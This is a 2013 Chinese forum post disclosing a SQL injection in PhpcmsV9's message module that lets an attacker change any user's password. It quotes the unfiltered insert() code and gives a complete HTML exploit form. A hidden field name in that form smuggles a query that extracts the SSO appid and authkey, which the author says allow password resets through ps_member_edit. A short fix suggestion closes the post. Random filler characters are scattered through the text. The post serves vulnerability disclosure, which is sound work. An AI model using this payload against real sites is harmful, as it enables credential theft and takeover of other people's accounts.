找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2257|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:6 A6 H, o  Q- q+ _  z/ s- h/ h  c

4 K- i% O* q  j0 D第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
2 f8 Y. ]% }5 o" C' H) g* y1 b; V" K9 w% S# c  o- s
明天再更新下一个漏洞。2 f8 h/ @: N, q
详细说明:
+ Z6 l- C% C+ _9 x/ Y' c- Y在/phpcms9/phpcms/modules/message/index.php中有代码如下:
9 d% W* T. I, G) W8 p" C" s/ {( Z2 z# [% [2 S1 V
$messageid = $this->message_db->insert($_POST['info'],true);
1 Q% Y. i! B6 _: f0 L5 l( h* e; n4 @7 [; Z1 L& g) s

6 _/ Z; `. f$ m, _insert方法是key value的,代码如下:  H$ A" R% V$ K7 q% \
" O+ E! l% M0 s9 f0 c
public function insert($data, $table, $return_insert_id = false, $replace = false) {! T! Z3 U# j7 n' g# @: F2 D/ L; z! L
                if(!is_array( $data ) || $table == '' || count($data) == 0) {" b, K: X, q, E6 F8 R
                        return false;9 P$ x$ B, D. o& N, K
                }) _# u4 a. w" B# s% f; V
               
2 k' d( E' @& e                $fielddata = array_keys($data);7 W6 s' _. W( o  V/ `% _  M
                $valuedata = array_values($data);
& L9 I" Z6 r+ j" B) Z* }                array_walk($fielddata, array($this, 'add_special_char'));0 W8 p4 S: ]3 a
                array_walk($valuedata, array($this, 'escape_string'));, ]; s  g; v+ g5 x& c
               
, o& Y; Q8 q* M7 ^3 w+ i: p                $field = implode (',', $fielddata);
# l% g  e" T3 A5 A9 x% Q/ Z" s$ `                $value = implode (',', $valuedata);' m' w+ r1 V+ y3 ?5 f% v- m
; `+ A$ u+ Z7 U5 Z" f
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';# @1 Y. x" m1 c. }
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
! [& w" T! m+ K* y3 H0 B2 ]- S                $return = $this->execute($sql);
8 |2 ]/ r% ^' T8 b4 O                return $return_insert_id ? $this->insert_id() : $return;
* \1 |: Q: \" Y% z        }' D; o  K$ k% Y# M- V& [! V# H
: w8 p! ~, }5 Z% u% Y% Z2 r
* I7 W) w* `- g0 {' {+ s* x' Q$ u
嗯,很遗憾的是
- P/ ]3 S" ]" u7 |, o$ m% W
" P- |4 }8 Z; P$ s) g9 N' s- S3 A- warray_walk($fielddata, array($this, 'add_special_char'));: m" }, X8 M! J; f: I

" a0 J# M: B5 _% g6 o* Q  }
% K7 Z$ H2 k4 a5 `中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。8 D! s; W# G8 j2 U9 H+ P2 f, y( A
# G0 j: f3 n$ K: ^
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。* }; _$ X3 a; ?, A" `! U

: m# f6 ~: ?* X9 O. l, {漏洞证明:& {/ k2 F: z3 e9 R+ v3 d2 ~
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
  y- t5 ?$ D0 y8 [) F* e7 F5 ~5 l1 h9 R& |9 \& d

& _1 v) s0 G" J% g, G% P表单如下:用户名什么的得自己改一改。+ K0 D7 Q- x/ x- x! n# x
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">9 c! ]$ W6 z# K8 `
<table width="100%" cellspacing="0" class="table_form">
& }/ J7 M$ [: o! F8 H<tr>6 d* ]) b' q" Z
<th>标 题:</th>5 R6 i7 R* c7 [& n6 z
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
# ]' j4 k0 m: q) l# X</tr>
, O0 v7 ~. K. _1 m" |6 i- X<tr>8 |; t4 Z" a- V: R5 R6 F. @
<th>内 容:</th>& |' ~2 g# ]- E0 x( O! F* M
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
4 D% W3 P+ f/ S; Z: _5 o& R/ }& z7 n</tr>
* m+ r2 v: y! F- {5 H; t<input type="hidden" name="info[replyid]" value="2" />
, V6 _" b2 i) f0 @<input type="hidden" name="info[send_to_id]" value="cc" />
  V4 G" ~( D1 |# N; Z<input type="hidden" name="info[send_from_id]" value="hh">$ _1 w8 [& M2 h  E, I/ A* @
<!-- 漏洞的利用重点在这里开始 -->& J2 l6 }9 O) R  u3 C1 x
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> ( S3 \8 @& X0 W% a& B2 U! H
<!-- 漏洞的利用重点在这里结束 -->$ u2 k  C5 v& m( K4 [' l/ _
<tr>$ w& l4 k- n7 ?" O4 x
<th>验证码:</th>7 }/ E8 K5 K6 m: k& v
<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>3 a+ ^  E: q5 N' q
</tr>% n/ O, \/ U- P# C3 [9 {, r
<tr>
0 T0 B$ r' b2 `: b. A<td></td>$ G0 [9 r( U) \$ K! q
<td colspan="2"><label>9 G7 Y- Y% x/ ~" _6 ]& \2 ]
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
* |+ x6 y$ H" M% h) k( W</label></td>  h0 L  t+ U$ Y- ]% @0 {
</tr>
5 t+ I- u; O. e+ v! F2 X2 {+ T, h! S4 W</table>5 k) M4 u; |2 r+ w9 O7 c' u5 [
</form>7 `( N: h" X3 O& w
在add_special_char函数内对key做过滤就可以了。
: X3 D- Z: A. }) Q# ~
! g& Q3 y: d" ^& R9 E( L, @* I# p
0 M9 R9 ^' a& n' R- j$ M/ }* M& U  }4 M9 @- z

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表